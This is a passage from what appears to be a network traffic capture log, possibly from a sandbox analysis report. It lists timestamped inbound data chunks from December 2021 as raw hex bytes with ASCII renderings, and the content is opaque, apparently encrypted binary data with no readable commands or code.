8b 0f Data Ascii: [SaU@S+}bctJ:L:&^P.wax9I!/{!bybWA0O-+{_}\m",nV G]Dd$X92j+SSD17./kV3.uM!~O6qS2iT(&H( p\`bO
2021-12-01 08:15:22 UTC	1189	IN	Data Raw: ce 73 e2 23 cc 35 f9 cb 58 a1 2d 14 7b e9 5f 5d b4 c5 b9 e3 68 08 68 f3 b9 f0 8d da ad 60 31 e8 db cf 6f 72 12 97 8f d2 52 b1 0c 2e 07 0d 3a 21 b8 ff 4e 87 3c 51 a8 3e 4e aa 99 54 2f 1d eb a2 a2 0c 12 55 49 f6 a0 79 93 77 91 af 0d c0 b2 f5 68 ec f3 b0 6c fd 0e 6c c5 da 1e 59 06 10 03 58 ae 13 c4 c9 77 8c 87 e3 c1 b1 c2 a1 08 19 bd 0d 76 6f ea 8c 3e ab a6 a7 f5 af f5 35 06 ef bb bf 5d 29 12 df f5 eb 91 3f 98 80 70 2b 1f c5 0c 76 32 55 08 97 22 38 d4 2e b4 0f 77 57 aa 7e 94 02 03 9f 57 dd be 32 62 2b c8 e5 0e 8f ef a4 83 40 fe 91 d3 b0 3f fd 47 30 71 56 af ce c2 73 59 19 75 6d bd cd 03 d9 35 08 27 85 08 57 ee 9f 54 9e ec 27 23 c0 bd 02 10 cd 12 70 87 a0 58 84 49 5b 97 e5 07 da 56 31 1c 38 f3 6e 18 e6 c5 d6 d4 ce a1 5b 04 76 5a aa b2 73 c7 2b 24 15 d9 c4 27 Data Ascii: s#5X-{_]hh`1orR.:!N<Q>NT/UIywhllYXwvo>5])?p+v2U"8.wW~W2b+@?G0qVsYum5'WT'#pXI[V18n[vZs+$'
2021-12-01 08:15:22 UTC	1205	IN	Data Raw: 41 a4 da bb 7d 2d dc df 0f c4 75 25 af 1d a1 c8 b6 67 67 5f 77 74 6e 24 da b2 17 cb c7 89 37 19 98 55 f6 34 ae 03 a3 fc 1e 7e 16 7c 0f 35 6c 86 15 c8 e6 f6 77 e7 17 c8 1b 99 10 bd 71 41 69 39 24 d3 ff 91 4f d3 66 0c f3 10 20 47 72 cb 06 0e fd ca 8f 2d 65 63 ec fd 56 f5 a7 fc b7 c8 0e 7e 03 3f 63 82 41 a6 e4 3b 67 58 34 fc 49 4e 18 cf d0 17 bd 30 df 8a 68 a8 50 dc 4b b4 8e 6f 75 fd 9e 0d f1 eb 71 4f f6 cd 22 1d 39 29 84 85 a1 f5 d5 8e 5a 8e 6c 32 02 a0 e1 3c 11 49 cf 6d 23 46 b9 ff 7f a7 5d 76 7b ae 8e 1a 0b af 83 96 1e 11 87 4f 49 68 42 3c f8 5d b7 6d 00 33 de 02 49 55 fe e0 19 80 6e de da 02 26 94 20 1f 58 f4 8a 5c c2 57 09 82 46 dd e3 5e de a1 5b b5 fd 7b 92 40 e1 77 35 10 f9 cd dd 3e 87 b1 55 14 cd 64 a6 15 72 0e 1f 68 82 2f c0 d8 f6 2c 23 05 35 7a 34 Data Ascii: A}-u%gg_wtn$7U4~\|5lwqAi9$Of Gr-ecV~?cA;gX4IN0hPKouqO"9)Zl2<Im#F]v{OIhB<]m3IUn& X\WF^[{@w5>Udrh/,#5z4
2021-12-01 08:15:22 UTC	1221	IN	Data Raw: ce 88 72 b0 33 fe 71 e3 a6 dc ca ae 2c 0c 16 6e d9 09 6f a1 ac ed 9c 19 0d 10 f1 9c 99 36 c4 16 53 97 6e c5 6b 79 fb e4 b7 08 fa 32 70 bd ab 1b 99 33 42 eb d1 ac 3f 43 10 81 42 cc a0 c5 30 8b bc 59 cb 0c da 26 43 cc 56 52 c5 23 7a c6 75 4e d4 82 e1 04 c2 8c 51 48 0c 5a 2e b6 98 f1 5e c2 e3 3c b5 1c ec b8 06 46 60 f5 e4 88 35 49 2b d8 74 38 6f 66 dc ff 08 7a 38 39 af bb c6 4b ce a0 6c b1 b0 d9 4e 7c 9d b4 0c be 13 df 71 23 0e 08 f1 5d 5f c4 b7 d2 f0 26 92 6e 67 9a 7f 6d ce 81 35 5e 6a f1 9f 7d 79 8e 67 fe fc 3b 9c 34 8d 77 40 8b a5 d5 7e 22 7a a0 6d 0c 1e c5 49 df 88 b0 22 86 2a 52 7f 88 a5 3e 85 48 44 8e e9 6d bf 4e 1b dd c8 10 b6 91 de a1 d0 7a d2 f5 de df a8 27 69 c6 ef ad 58 df f5 45 7a ef 35 ca 22 23 05 80 ee ed 60 cc 09 4d 4b 08 27 6d 79 90 8c 39 75 Data Ascii: r3q,no6Snky2p3B?CB0Y&CVR#zuNQHZ.^<F`5I+t8ofz89KlN\|q#]_&ngm5^j}yg;4w@~"zmI"*R>HDmNz'iXEz5"#`MK'my9u
2021-12-01 08:15:22 UTC	1237	IN	Data Raw: ce 20 a2 ce b4 c6 ae cb 72 00 03 0e a1 4a c4 c0 32 ea 8f 04 10 63 11 86 0f 3b fe a2 3a d8 f7 8c 97 13 ed 23 a1 56 a3 56 dc a1 e7 6c cd 77 55 55 71 ba 0a 26 94 44 9d b6 29 be eb 36 13 b4 c1 85 a6 44 23 fa c5 31 05 65 bb 22 90 c8 94 bf 52 a8 e9 09 4e 97 b3 e9 86 ee db 6a 9e 69 df 48 bd 32 13 fb d6 31 a7 9b f5 6e c7 4f cb 93 52 76 84 e0 74 d4 88 ac b3 12 79 f8 7e 7b 5c d3 72 8c ec c4 74 af 80 f3 64 b2 d3 1f 0d 04 5c 22 81 6c 5f 34 8c d9 e7 e1 b4 6e 4c d7 d9 96 dc 3d 0a d6 d0 d7 01 80 8d 46 40 97 3c 1a 77 b1 1c 15 ff af 74 51 04 1e 7e 71 65 a2 32 ba 81 3a 07 cb 42 6b 21 f5 1f 8e 71 6d bb 2c 7c d5 d7 66 34 7a c2 36 c8 04 8b 94 22 f3 d0 fa 5a ad 34 22 2b 21 0e 54 fd 79 2d c7 ad 48 ef bc 04 49 1a eb bf b4 88 e5 0e 51 71 c4 83 e3 68 f4 bd 78 ca 20 12 c6 1f da 9a Data Ascii: rJ2c;:#VVlwUUq&D)6D#1e"RNjiH21nORvty~{\rtd\"l_4nL=F@<wtQ~qe2:Bk!qm,\|f4z6"Z4"+!Ty-HIQqhx
2021-12-01 08:15:22 UTC	1253	IN	Data Raw: 24 22 d2 39 ce d6 f0 67 f6 2a 92 1d 79 7b 98 f5 9c 01 18 61 6d 51 15 b8 3c db c8 e1 8e cd 43 d2 82 76 c1 c5 7c f6 72 f3 2e b7 66 ad 1c b4 d9 f5 e6 5b b4 43 d4 31 54 e6 2e 46 c2 4d c9 1d 2c 14 fb 02 3d a6 20 f9 79 d2 5c c8 70 a8 54 6d 9e bc 81 27 ac c0 6d 01 97 bb ca 4f ef 87 33 0f b4 26 24 a2 61 0f c7 16 02 10 38 66 ff 22 30 8f 17 c9 c6 1e 64 d5 27 99 38 0f 6a b2 33 62 71 9f 2a 8b ff aa 7e 66 a1 7b 12 15 48 f3 eb 09 dc d0 10 91 f9 ae ec 19 dc 0a 30 e0 cd 5c f1 a2 13 d2 73 6b 81 4f 51 0e 3c 27 35 94 78 a3 48 22 ef d9 8a 9e 77 56 29 7a 71 08 3f 65 cb e9 a1 26 1c d4 be 76 60 8e 53 45 3d 38 0e cf 7a 41 24 31 73 f4 80 42 e5 62 9d c2 92 92 ac b4 d6 b9 6b 8f 11 55 73 83 3b ed 7c 99 63 b5 ed 67 49 62 63 2c 5b bd 18 d4 cc 8a 7f 22 54 02 75 3b 07 85 e4 bc 2b 65 12 Data Ascii: $"9gy{amQ<Cv\|r.f[C1T.FM,= y\pTm'mO3&$a8f"0d'8j3bq~f{H0\skOQ<'5xH"wV)zq?e&v`SE=8zA$1sBbkUs;\|cgIbc,["Tu;+e
2021-12-01 08:15:22 UTC	1269	IN	Data Raw: b5 45 86 f3 6d ef 05 e9 88 19 8c 74 ab 2c 84 d4 03 48 ac b0 17 3d ab 0d 02 f4 10 b0 b3 d4 d6 5e ff 77 e1 04 a4 8f d4 d5 c5 6c 86 d8 3d d9 18 b6 c9 81 32 85 7a 40 6c 4a 59 91 0f b0 4e a0 f0 6d 16 93 e7 44 a1 f3 a3 bb 53 f0 fc c8 b9 92 c8 87 f2 7a 1c 8a 42 6c 32 80 6f 85 9d 2e 3e d9 56 1a ce 44 c9 05 d4 38 79 5f 3c 18 37 3b 7c eb 2a e3 e2 26 4f 5c fe dd bc 76 52 51 d4 95 fb b0 40 ef 60 bd 0f ff 71 ac 34 a0 9a 2d 99 bf 4e 17 5a 30 ed 65 d8 99 e1 30 71 a4 50 28 89 3d a2 e5 2c af da ab f4 46 d0 59 55 33 3f 33 57 9c bb 30 30 e4 d3 78 b5 f5 f7 e2 98 37 55 1f 2c bc 71 73 1c ce a2 90 16 2b f3 ff b6 ad 0a 34 1b 2d 66 da c3 9a 3f af ee 5b b2 e2 fa d5 69 3d 9c 87 16 a0 d3 b2 b7 fc 7b 69 78 78 cf 22 6b a9 56 b3 c3 fc 14 21 82 9e 07 42 4d 8a b7 ea 6c 3e d4 45 6a 3b c5 Data Ascii: Emt,H=^wl=2z@lJYNmDSzBl2o.>VD8y_<7;\|*&O\vRQ@`q4-NZ0e0qP(=,FYU3?3W00x7U,qs+4-f?[i={ixx"kV!BMl>Ej;
2021-12-01 08:15:22 UTC	1285	IN	Data Raw: 93 66 9a 91 e6 a2 aa cd eb 79 e3 12 c9 28 8b 00 2a 75 48 ac c0 d4 d9 b2 0a 78 2d 56 1f a2 ac ff a0 96 c5 1e 43 ea 89 b3 a7 46 62 d6 f2 5e 52 6b 01 0c 9e 47 e6 1d 50 eb 6c 6a b8 ab 84 f9 57 17 9a fb d3 8a df 09 01 39 c6 14 e0 fe 24 78 27 c6 b4 7f 16 b8 c1 dd c4 1a ae 1a 19 78 27 a9 03 27 76 61 e2 8d b5 df 2d 23 15 6c 03 96 2a 59 06 ff 32 e0 a0 c6 a6 ea f8 36 aa a6 47 a6 12 12 02 7e bc 7a 63 97 c5 dc 0d e4 a3 2f 23 fa 81 49 5e ec ef a1 de 87 22 d3 d9 07 0f bf fc 91 60 31 83 bc 8a 31 49 5f e4 45 33 51 d9 0f 91 40 19 32 30 2f c1 6d fa d5 e7 e4 b0 dd b9 6e 3b 8a 1b ee 93 40 d1 64 04 57 ae 5b 3e eb f4 f5 1d fc 7a fa d9 7b ba 56 af 82 90 f7 50 74 69 53 fa 3a 00 db 8e ab a8 08 7f 00 7d 93 3c 48 44 a1 ab 2f cc 79 ba 31 b6 a0 38 4d 22 26 73 73 01 a4 c9 8e 49 cc fa Data Ascii: fy(uHx-VCFb^RkGPljW9$x'x''va-#lY26G~zc/#I^"`11I_E3Q@20/mn;@dW[>z{VPtiS:}<HD/y18M"&ssI
2021-12-01 08:15:22 UTC	1301	IN	Data Raw: cf 68 3f f0 1e f7 29 04 d4 78 a1 84 11 ad 16 2e 94 13 cb 43 c5 30 f0 29 a2 08 e2 6e 31 5c 73 ea 98 65 99 84 bf da d5 19 8b 6b b7 d4 e3 58 bb 4f 96 47 d1 88 54 68 0d 8f 92 5e 32 20 07 d6 9e 37 5d 24 48 44 2b b6 5d d9 0f d4 68 26 96 82 94 09 d1 af 6d a0 93 d7 4c df 46 07 37 10 23 e2 32 00 06 bb 0e 5d 53 f9 23 3d 8e 74 e3 ce ee c2 de e5 a3 ac c4 81 a1 28 43 73 b9 9d 6f 36 a1 64 1b 85 db 64 28 c4 8e c8 7c e7 1f 4e 4d 4a b2 27 ed d8 66 e9 46 d1 29 b2 37 af 91 f4 53 16 cf 85 ed 29 7b fe a4 1b ae e2 ac e8 54 30 0a 90 ca 1d 87 b8 39 84 dd 6a 26 cd ba ee 11 b3 0d 0c 34 46 44 b8 6e 84 b2 a5 70 70 9d 3f 6c a5 6a 72 7b 01 28 76 d7 a4 ae 66 a8 8d 95 09 da af 7a 1d 26 a5 44 54 b8 5d 28 c1 12 e5 fe 4e bf 07 da d6 b7 f7 c8 a0 5d 51 09 da 02 99 88 48 a1 a8 6c 85 0f 3a 43 Data Ascii: h?)x.C0)n1\sekXOGTh^2 7]$HD+]h&mLF7#2]S#=t(Cso6dd(\|NMJ'fF)7S){T09j&4FDnpp?ljr{(vfz&DT](N]QHl:C
2021-12-01 08:15:22 UTC	1317	IN	Data Raw: b3 3f 96 e4 a4 ad b8 43 29 88 30 1b e1 69 c7 1a 75 58 d1 64 5e fd bf 63 c5 ba a8 4b 33 f3 c8 63 07 27 92 ea a4 47 f0 4b 88 cd 11 8e 08 20 a3 bc c7 32 c0 b7 21 5b 06 02 8c f7 88 22 ad 93 49 c5 76 ee 10 27 fa 30 cc 0a 17 69 60 62 8e 57 3c 45 d9 a5 26 24 16 a2 a3 7d ad ee b0 6f 81 d7 8f 4d 4d 8b bd c8 a0 50 ab 5d 77 c8 75 4d d7 d5 f0 fb 53 e7 e6 27 be c4 64 da 1a 3c 0f 73 6f a3 a5 53 bd 1b 09 fa 9b 2c 7d 1a 72 c9 5e f3 58 2a 8c 3e a7 0c 48 f0 cc 56 3b 4d e5 2b 0d b9 85 14 b3 bb 2f 39 e5 d5 50 54 a3 31 cd 1e 4d 83 97 30 0d 54 ac 45 4b ac cf 48 fd 1f dc 5c 65 39 b3 59 1b df e5 29 f3 b0 c6 d6 e7 7d e1 54 0b e3 ff a6 7e c9 0c 6d 9f 17 a0 02 7c f3 05 9b 40 e3 c9 f7 9e c1 8f 7f 04 78 38 cf bf 57 de 55 fd aa 80 9f 5b 27 79 46 6a 53 68 5e 61 66 c8 ae 38 78 2c ac aa Data Ascii: ?C)0iuXd^cK3c'GK 2!["Iv'0i`bW<E&$}oMMP]wuMS'd<soS,}r^X*>HV;M+/9PT1M0TEKH\e9Y)}T~m\|@x8WU['yFjSh^af8x,
2021-12-01 08:15:22 UTC	1333	IN	Data Raw: be 0e 45 88 aa a7 70 a3 7e eb 6d ed 4b bc 75 f6 f2 a4 63 e3 d6 fe 52 4b 89 89 d2 ed 43 da b4 1a 6c a7 db 76 b1 94 23 c9 d0 92 90 7f df 7c 98 ab 8d b5 99 63 5c 7f aa 6a 84 70 cf 5e 34 91 e7 51 eb 36 ad 70 5b cb 88 1c a4 1d 03 39 16 24 6b 35 b1 4c 75 04 a0 0a bc e7 a8 78 e3 29 c6 db 9b 9c c0 8b a1 93 29 00 05 7b d7 26 2b f6 2f 80 2b 70 60 f2 18 00 b6 ec c0 fb 43 96 a6 e5 19 e2 5d 4d 9b e4 e4 f8 d4 bd 1d ce 5b 46 46 69 c8 66 c0 b5 42 f1 7d d9 89 44 c5 f3 1a a4 84 2c 76 eb c7 df 36 18 f4 06 a0 6f cc 54 48 8e 7e 32 e7 47 d9 d6 f6 1a 8d 91 fe 02 9d 96 d3 33 57 e3 11 80 e7 68 ed 8c 95 fb 1d 3f 31 bb 2e 82 6f 85 77 85 71 25 f9 7d 98 1d 15 31 2e 86 4f 41 56 e0 6c b5 c5 04 58 d5 8a 34 ae 92 ff ff fd 41 d4 cd 6a fe 83 12 da e8 52 d2 53 ea 04 40 e7 50 b3 2e 8d bf 6e Data Ascii: Ep~mKucRKClv#\|c\jp^4Q6p[9$k5Lux)){&+/+p`C]M[FFifB}D,v6oTH~2G3Wh?1.owq%}1.OAVlX4AjRS@P.n
2021-12-01 08:15:22 UTC	1345	IN	Data Raw: 98 1b b3 0b 32 68 3d 3a f2 00 98 87 41 e3 11 a8 3c ac cd 03 c7 2e 5c 4e 7f 84 9a 5a f4 91 a5 6a c7 0f 82 c3 3d 8c ea 5d 1d 85 44 92 9d f3 01 e8 77 8c 44 10 11 ba 0c 2a e7 c8 e8 c9 e6 bb bf 45 05 dd c9 e1 92 ac 9d 79 07 0b 81 f2 41 ef 2c 0e 10 14 dd 0d 88 f3 ca f3 ee 87 5a 44 fd 00 d6 81 19 b2 d7 e9 35 cf e2 29 14 a7 40 e9 12 fd 07 26 6e 2a f3 f4 70 14 2b ea c6 31 56 0d 24 07 e2 29 11 8c 9e c9 45 a8 a9 c0 e3 e0 01 91 a2 eb 53 a1 b8 b7 3f bb d8 cc 45 e8 fa d2 c5 60 a7 2b 20 9e cc 1c 28 84 33 b1 c8 de 44 e4 7a ce 86 ff 4d 10 fa dd 54 be 8d 63 b2 8e cd c7 8b 88 49 23 8c de 4f 55 bb 99 c2 f0 c4 5b 91 d0 66 c5 22 7e 1a 67 35 9b ca 49 af 6d 38 b3 05 f9 ab 46 65 2c 03 c3 62 89 e7 53 7d 97 ad fd b5 97 6c 15 bc 0b 49 dc d0 61 2b 5f 76 38 da 35 2d db 76 25 66 ca 97 Data Ascii: 2h=:A<.\NZj=]DwDEyA,ZD5)@&np+1V$)ES?E`+ (3DzMTcI#OU[f"~g5Im8Fe,bS}lIa+_v85-v%f
2021-12-01 08:15:22 UTC	1361	IN	Data Raw: 50 1b b9 e2 97 72 0a f2 12 1a 23 07 ee fd 53 e8 43 f1 fe 28 bf 18 33 25 08 78 e5 b2 18 e7 8b af 91 9d c0 07 81 30 b7 81 d1 81 2c 5f f1 86 9b 0b 5d 18 4d 37 ee b0 ab a5 74 28 76 90 41 e0 6c 77 e4 b7 11 0c b2 6a 77 ce 9a c3 6e 6f 10 f3 a9 09 6c 07 b5 8e 75 14 cb 29 c0 3f 40 10 8a 13 4e ec 3d 8a 40 d6 38 5b 83 74 b2 fa d4 10 4d 2f fa e7 96 20 a5 bf 86 28 b0 10 af 2c a2 ae dc c0 a4 5a 9f ba d2 1f 16 13 91 1d 3c 80 7c 15 0c 92 79 7d 53 40 d7 ed 1d 56 20 ea a1 e7 57 c8 0e fe 1f 61 57 fd a6 6c a4 49 b0 04 e5 8f bb 47 69 50 a9 4f 9f 5e e4 ca b3 61 fa 37 dd ee 94 66 8a 8a db 8d ec 9f db d7 ed 0f 8c 58 b7 cb 4b 0b 65 06 f2 c2 4a 8f 26 23 64 e4 10 f3 25 b1 39 71 12 46 55 8d f7 a1 83 c6 82 bc e2 3c 82 93 11 5b e2 25 5f f8 d8 f7 02 5b 45 cf a5 2d 9a 63 d6 f8 09 4e 2a Data Ascii: Pr#SC(3%x0,_]M7t(vAlwjwnolu)?@N=@8[tM/ (,Z<\|y}S@V WaWlIGiPO^a7fXKeJ&#d%9qFU<[%_[E-cN*
2021-12-01 08:15:22 UTC	1377	IN	Data Raw: d4 ad e6 99 f8 b5 72 56 8b f6 b6 7d 02 b2 bb c8 eb 7e 6b 92 6f 62 40 9c 6b 62 38 dd 56 d4 d2 4e 6f b0 48 9e 41 62 60 42 ec 3d 5f 17 5a e1 93 23 4c f1 c9 94 9d 4d 5b d0 8a 1e 77 ff fc 4a ab 0a c3 a6 6b 5c 70 9b eb 8b 7a b2 54 a1 85 c9 67 6a 97 c9 5a 8c 74 6f 29 1f 40 46 e9 90 f0 52 a4 4b 3b bd 24 b3 d3 a5 3c 39 23 a3 f1 de d9 b4 15 43 a0 f1 82 c9 48 29 b9 d6 52 11 8f 81 0d 22 66 fe 39 7c b6 36 23 bf 9a 32 e1 00 24 8e 5c a5 22 89 6a a4 6f ec f3 18 0d 41 3b a6 17 03 42 7a 0d f3 76 24 92 9c 1e 67 2c c2 17 91 c9 aa 4d a1 5d f7 6a 65 fd 33 ff b3 4b 51 b9 ec e2 3f fb 97 8b ec 43 a4 a9 cc 38 e5 2d 30 23 16 db 90 cc 64 1a 7d 9b 00 47 03 6d c3 6d 64 93 1f 42 3b 6e b4 1e 85 38 39 f6 b6 7a 1d ba a4 27 c7 3e d0 0e 81 13 85 14 1d 40 8e c9 aa 80 d6 f9 e0 e0 9e bc 4b 24 Data Ascii: rV}~kob@kb8VNoHAb`B=_Z#LM[wJk\pzTgjZto)@FRK;$<9#CH)R"f9\|6#2$\"joA;Bzv$g,M]je3KQ?C8-0#d}GmmdB;n89z'>@K$
2021-12-01 08:15:22 UTC	1393	IN	Data Raw: c1 6b 12 18 db f8 3a 3a 43 95 7a 4d bf 22 b4 fb e5 70 c0 94 8b d1 94 be 02 15 80 99 db 59 ba fc 34 7f 7d 9c 5b a3 1e 14 67 b6 c3 2e 74 fc d4 d2 de 99 eb 91 5e ce 1c 71 f0 f4 6a 62 a9 b4 32 b1 f5 25 0e 87 13 65 98 ef 3c d1 ff df ab 0b a3 bf 2f 5d eb 8f 40 66 29 b4 a4 ef 19 7c 3c e7 2d 77 ed 0e cc 22 2d ba 57 cd 8e b3 4c 18 72 7b bb 63 53 11 07 5a b2 d3 ee 7c 52 15 2a ce 48 72 15 68 3e d6 9d e8 5f 30 d2 d8 db f2 97 fd a3 66 48 e0 16 89 4b 28 93 3c 07 e5 96 f6 6d 36 eb 57 70 a1 7e cb 0e d6 0d 45 ef 45 e1 b5 ad 57 f1 b1 d7 3a 9a 6f b5 60 ca dd 50 3c f8 be 4f 58 2e 4f de 77 31 20 b0 26 a3 d6 57 3d de 99 31 6b 0d c2 c7 74 20 c6 4b 88 3c 27 f4 3d 86 d8 8e 3d f8 40 b5 22 ac 8d 05 e0 d0 4a f1 66 26 f4 13 2e a8 0a 9f db 79 a1 54 7d df ea 46 4f 31 5f 5c c5 11 72 97 Data Ascii: k::CzM"pY4}[g.t^qjb2%e</]@f)\|<-w"-WLr{cSZ\|R*Hrh>_0fHK(<m6Wp~EEW:o`P<OX.Ow1 &W=1kt K<'==@"Jf&.yT}FO1_\r
2021-12-01 08:15:22 UTC	1409	IN	Data Raw: cb b0 9f 20 7e 79 f7 ae b5 ab d2 b8 8e 9c f5 8a 3d 81 26 ee 69 7e a2 11 39 4d d8 40 6e c7 79 88 3f ba b0 4e 4e aa 61 b9 c3 a3 a8 73 5c 06 7b 71 06 d2 65 ee c1 d6 0c 5e fa 3c 10 66 3e bf b1 fd 59 bf ca 94 46 7b a0 72 8a 25 a6 47 4f cf 72 7f 16 1c 60 fb ba 5e 9f df 48 e3 16 d6 5f bf 27 63 fe 68 f6 46 89 7d a2 46 2d 51 22 3b f5 78 76 84 c5 00 31 90 97 aa 59 74 7b fc fe 52 de 0b 86 51 d0 9d ee 90 12 8b 93 25 da 80 c2 fb ba ee 89 b5 1e f3 3f f3 d9 9c 7c a7 19 11 5a 2a 2b 13 62 71 72 90 c4 56 85 27 36 ea c9 01 93 6c 2b cd d8 e7 6e 1f 52 b9 92 ef 36 ee 82 d2 41 b9 47 55 f6 2e a8 9a a4 4a d9 e1 4e 15 0a 55 25 3d 90 63 98 f9 fc 49 d0 73 9c d2 6b 3a 13 96 fe 5c a3 a9 f0 cc 0a e4 65 f0 fe f2 9f 67 b8 3c 55 c9 e1 4f e7 a3 de c8 f6 b5 a8 05 46 03 83 32 03 f3 20 5a 9d Data Ascii: ~y=&i~9M@ny?NNas\{qe^<f>YF{r%GOr`^H_'chF}F-Q";xv1Yt{RQ%?\|Z*+bqrV'6l+nR6AGU.JNU%=cIsk:\eg<UOF2 Z
2021-12-01 08:15:22 UTC	1425	IN	Data Raw: cc 03 1e c5 9c b6 d8 47 40 42 6b 8a f0 bf 72 3e c6 e9 31 61 e2 13 60 3b d8 07 9b ac aa d2 c7 72 75 fd 15 86 1e 52 1f fc 37 e3 9f 16 d1 fa 41 d6 ae c2 bd 53 f5 3c 55 ad e2 bf 80 9c 07 14 f1 a4 a1 5e 29 09 ac a6 f5 75 8d f3 bc 4b fc 24 47 66 71 28 7f 8e 1d 2d cd e9 31 65 ff 4d ed 7f b9 15 7d 31 50 b1 95 ee 47 53 c3 3c 52 83 76 05 46 8b 30 91 a8 91 25 82 7b 0e b0 c8 eb f8 5b fe c3 82 4e e0 65 27 df b7 fb 5f 6b 1f b4 43 53 7d f8 3a b0 2a 17 ae bd f5 e9 85 62 32 f1 0b 1f 45 7a f4 f4 52 c3 2d 48 bf 0f 7e 78 67 5e 64 42 70 c5 be 9d 6d 8d e0 1d b8 51 c1 31 2d c9 ed 83 cc c4 69 ee 36 15 38 b0 8a 80 d6 28 1a 44 b5 bd da c0 45 f3 af bd bd fa 1a 05 80 e0 ed 44 f1 b5 61 2b d4 9e 2c 79 99 92 49 d9 b6 f5 03 d8 cd 6b d3 b8 24 69 84 e9 fc 1c be 91 be 4e 95 1a 5e 0c 80 90 Data Ascii: G@Bkr>1a`;ruR7AS<U^)uK$Gfq(-1eM}1PGS<RvF0%{[Ne'_kCS}:*b2EzR-H~xg^dBpmQ1-i68(DEDa+,yIk$iN^
2021-12-01 08:15:22 UTC	1441	IN	Data Raw: 3a 01 ce 04 cc 11 01 9b 8f 8d 0a 09 38 ee d3 ab 24 c0 29 4c 1d 03 6b 17 b2 b0 58 d8 38 78 da 9d 75 2c 5f 5c 01 34 79 ec 0f cd 02 c4 62 8b d3 ea e9 4b a9 3c 89 d1 85 6a bd 80 e5 76 17 fd 42 44 9b 5e e9 e1 66 e7 3a 65 ea 58 ac 58 7b d3 cb f5 ed ba ae 6e 49 4a d5 f7 2c 50 c7 fc 1e 53 8e 1b ff 4b 67 eb 01 56 48 d7 24 9a b9 85 98 b8 e1 95 af f2 d1 98 19 14 94 69 6f b1 2f 05 73 36 6a 53 14 81 e4 eb 16 32 d3 53 88 4f ff 69 5f 2b 4f 25 38 82 de 8f a1 c5 ce 1a 9b b5 7f 3c 7f b0 3a 2f 41 92 22 09 71 e6 2e ed c8 52 93 86 ff 7d 0b 68 a3 8e 12 31 4d 80 89 d7 0f b8 9f 29 d3 2c 43 ab b2 3a 40 af 93 20 6c cc fe d0 a6 81 e2 9f 21 5f 95 5e 06 05 3a 14 f7 dc f0 6c 0e 79 62 50 29 ae 84 70 ec 4f 33 69 ed c1 17 0f ac 90 b4 7e 37 0a 9f 27 3c ae 0f 7a e9 91 cc a4 1f 06 7a f5 d9 Data Ascii: :8$)LkX8xu,_\4ybK<jvBD^f:eXX{nIJ,PSKgVH$io/s6jS2SOi_+O%8<:/A"q.R}h1M),C:@ l!_^:lybP)pO3i~7'<zz
2021-12-01 08:15:22 UTC	1457	IN	Data Raw: 89 16 f1 10 1d 20 6b 85 8d 45 48 35 04 b1 e5 de f4 58 72 1b 46 f2 2a 21 7c 3a df e8 12 6f 17 27 35 e0 65 9f 50 d6 8b fa 2e df 35 d6 97 c2 3c a9 3d ba 50 3f b0 1b 30 42 f3 a6 67 0d 1f 57 6c fa c3 6a 79 e7 cc af 0d 87 0f 5a b7 d3 62 71 41 40 7b 91 f5 e2 fa 15 fd 48 59 18 9e 86 cd 99 d3 ba 91 0e fc ae 48 a6 ae 50 50 d2 58 12 57 c7 84 cc 76 d9 18 2e fe 53 c7 05 52 40 cc 49 a1 dd e6 c5 be ec 53 6d 36 52 42 2b 7f b5 53 44 5c ff c2 d8 f8 05 95 2f d3 63 22 24 2d 23 8f cc ca 74 aa 17 bc 87 c3 54 a2 23 fe 3a b6 41 57 82 61 f4 37 27 5f 89 03 fb 61 94 e4 3f 9f c8 c6 80 2a 40 03 b1 37 63 26 9d ed b1 d5 f6 b3 10 06 3d 27 ec 19 e7 83 03 83 21 af 23 a0 57 1b f7 5d ec df b9 b5 13 8a a4 2a f9 cf cf 6c 87 cb 77 7f bf 3c 31 5a 59 ac 87 a2 3a db 53 67 9b 60 e3 b0 6e 1a 17 c8 Data Ascii: kEH5XrF!\|:o'5eP.5<=P?0BgWljyZbqA@{HYHPPXWv.SR@ISm6RB+SD\/c"$-#tT#:AWa7'_a?@7c&='!#W]*lw<1ZY:Sg`n
2021-12-01 08:15:22 UTC	1473	IN	Data Raw: 6b e9 54 2a 47 c8 4a 64 4e 63 c3 08 9d f3 f9 52 79 30 20 e3 06 2c ec 55 38 a8 03 e1 ff c4 59 03 58 13 ef be 74 79 1f 1d 75 c9 35 c2 55 f6 07 5f b0 70 03 df 19 e6 c3 a2 99 5b 67 6e 78 bf c3 98 81 85 dc 4a 58 8d 92 c5 26 25 b7 05 bd f5 69 d7 74 5a 3b 75 75 7c 1f 9d a3 21 98 7e c1 78 ad 18 da 58 b2 7f d8 5e d3 dd a1 66 6b a5 7a a0 f0 12 7c 94 8b 36 be 76 4f 96 37 aa ef 7b 58 97 47 f2 77 b0 f4 dd 09 a0 42 fa 90 fe 48 10 44 ea 84 e3 ed f9 94 76 d3 89 e9 6f c6 1a c6 6d f7 4b ae 06 07 3e e3 88 b2 49 50 01 c1 b2 11 37 3a fb 68 b0 1c 90 22 36 a6 d3 78 e1 35 2f 04 34 47 ac a1 3c de 6c bf fb a3 69 b3 bf 8b 49 fa ea 34 f4 3f 41 f3 86 c8 b6 29 44 c0 d1 65 b9 ff 19 7c ab f9 84 ee a5 33 1d 62 c5 55 db e7 1d 51 6e d3 87 f9 ea 09 77 e8 2c e7 f5 8c 0b 4e 0e 59 b3 05 59 92 Data Ascii: kT*GJdNcRy0 ,U8YXtyu5U_p[gnxJX&%itZ;uu\|!~xX^fkz\|6vO7{XGwBHDvomK>IP7:h"6x5/4G<liI4?A)De\|3bUQnw,NYY
2021-12-01 08:15:22 UTC	1489	IN	Data Raw: 60 f5 63 66 65 70 70 51 71 c8 61 ef d8 81 58 6f 10 e0 2b de 9b 26 d3 42 20 63 b8 74 8f 4a b7 e7 59 fc 4d c0 83 8a 5d ca 82 7e 14 13 a5 67 5d 1d 5b ec 3b f7 ee e6 0f 2e db 55 92 cc 4c 7c ca 9e 18 69 09 76 23 15 f4 e8 d5 0f 36 af a4 e6 92 e8 42 d0 f1 a0 28 a7 c3 bd 9c fe f5 af 36 68 24 77 25 eb da db 27 f3 99 3d 7c da 05 02 b1 ee 22 c5 77 8e b9 15 50 13 5b 2f fa 14 5d 53 c3 41 1e cc da d4 d9 7c c5 2a 8e db df b4 b4 0f 5c 68 8d 6f d8 b3 06 f7 3a 15 95 a5 33 f1 31 fc 27 af 15 36 ff b5 a1 85 a5 31 97 14 99 f8 ee 62 31 a9 c7 cc 5f 96 0c a0 72 e4 e6 a0 2d dc 80 68 4a 0b 9b fd de 66 1b f5 1c 1b cd 24 32 db f3 af 69 c6 0d 34 a3 8a 02 ab 51 7f 98 